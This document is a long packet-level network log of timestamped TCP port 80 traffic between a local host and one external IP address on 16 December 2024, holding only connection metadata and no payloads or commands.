Dec 16, 2024 09:01:30.590507984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.590562105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.590614080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.591609955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.591731071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.591784000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.592560053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.592633963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.592677116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.592737913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.593624115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.593738079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.593802929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.594657898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.594724894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.594774008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.594825983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.595691919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.595757008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.595801115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.595860958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.596780062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.596839905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.596867085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.596924067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.597810984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.597867012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.597951889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.598021030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.598824978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.598884106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.598928928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.598983049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.599878073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.599932909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.599982977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.600044966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.600888968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.600940943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.750170946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.750269890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.750269890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.750324011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.750622034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.750698090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.869843960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.869872093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.869920015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.869986057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.870399952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.870418072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.870477915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989746094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989779949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989804983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989820004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989825964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989850998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989850998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989854097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989867926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989880085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989897966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989902973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989918947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989927053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989949942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989949942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989963055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989973068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.989990950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.989995003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990016937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990024090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990045071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990053892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990065098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990068913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990094900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990103006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990125895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990128994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990145922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990155935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990164995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990173101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990187883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990195036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990216017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990221977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990240097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990251064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990262985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990278006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990287066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990304947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990309000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990324020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990328074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990360022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990382910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990384102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990403891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990449905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990847111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990864038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990892887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.990926027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990957022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.990992069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991017103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991034031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991050959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991064072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991075039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991086006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991095066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991106987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991113901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991132975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991132975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991158009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991161108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991178989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991185904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991205931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991209030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991238117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991271019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991841078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991858959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991888046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991897106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991914988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991919041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991935015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991938114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991964102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.991981983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.991981983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992006063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992181063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992207050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992239952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992271900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992341995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992366076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992388964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992398024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992410898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992417097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992428064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992455006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992455006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992474079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992480993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992502928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992512941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992526054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992542028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992554903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992554903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992572069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.992588043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992588043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.992619038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993190050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993240118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993244886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993263006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993283033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993314981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993318081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993340015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993340969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993374109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993386984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993392944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993419886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993442059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993458986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993458986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993463993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993485928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993486881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993505001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993509054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.993525028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.993551016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994046926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994081974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994139910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994230032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994254112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994270086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994298935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994322062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994333982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994344950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994354010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994369984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994369984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994394064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994404078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994415045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994420052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994435072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994437933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994452000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994465113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994488955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994493008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.994508982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994538069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.994561911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995098114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995131016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995146990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995157003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995176077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995183945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995183945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995198011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995224953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995232105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995248079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995254040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995273113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995273113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995292902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995292902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995327950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995347977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995347977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995371103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995754957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995776892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995804071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995812893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995826006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995836020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995872974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995883942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995917082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995939970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995943069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995963097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.995980978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.995985985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996006966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996006966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996010065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996026039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996032000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996047974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996056080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996078014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996090889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996103048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996109962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996134996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996153116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996824980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996849060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996870041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996891975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996908903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996913910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996937037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996947050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996962070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996967077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.996984959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.996985912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997006893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997009039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997029066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997033119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997047901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997055054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997076988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997078896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997097015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997101068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997114897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997137070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997600079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997622967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997661114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997690916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997754097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997775078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997801065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997816086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997817039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997829914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997853041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997874022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997880936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997899055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997914076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997919083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997936964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997948885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997960091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997960091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.997972012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997987032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.997989893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998023033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998043060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998533964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998572111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998589993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998591900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998620033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998631001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998640060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998653889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998677015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998688936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998693943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998712063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998734951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998756886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998765945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998774052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.998786926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.998832941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999228954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999275923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999286890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999300003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999331951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999349117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999349117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999353886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.999375105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999412060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.999418020 CET	80	49866	31.41.244.11	192.168.2.5
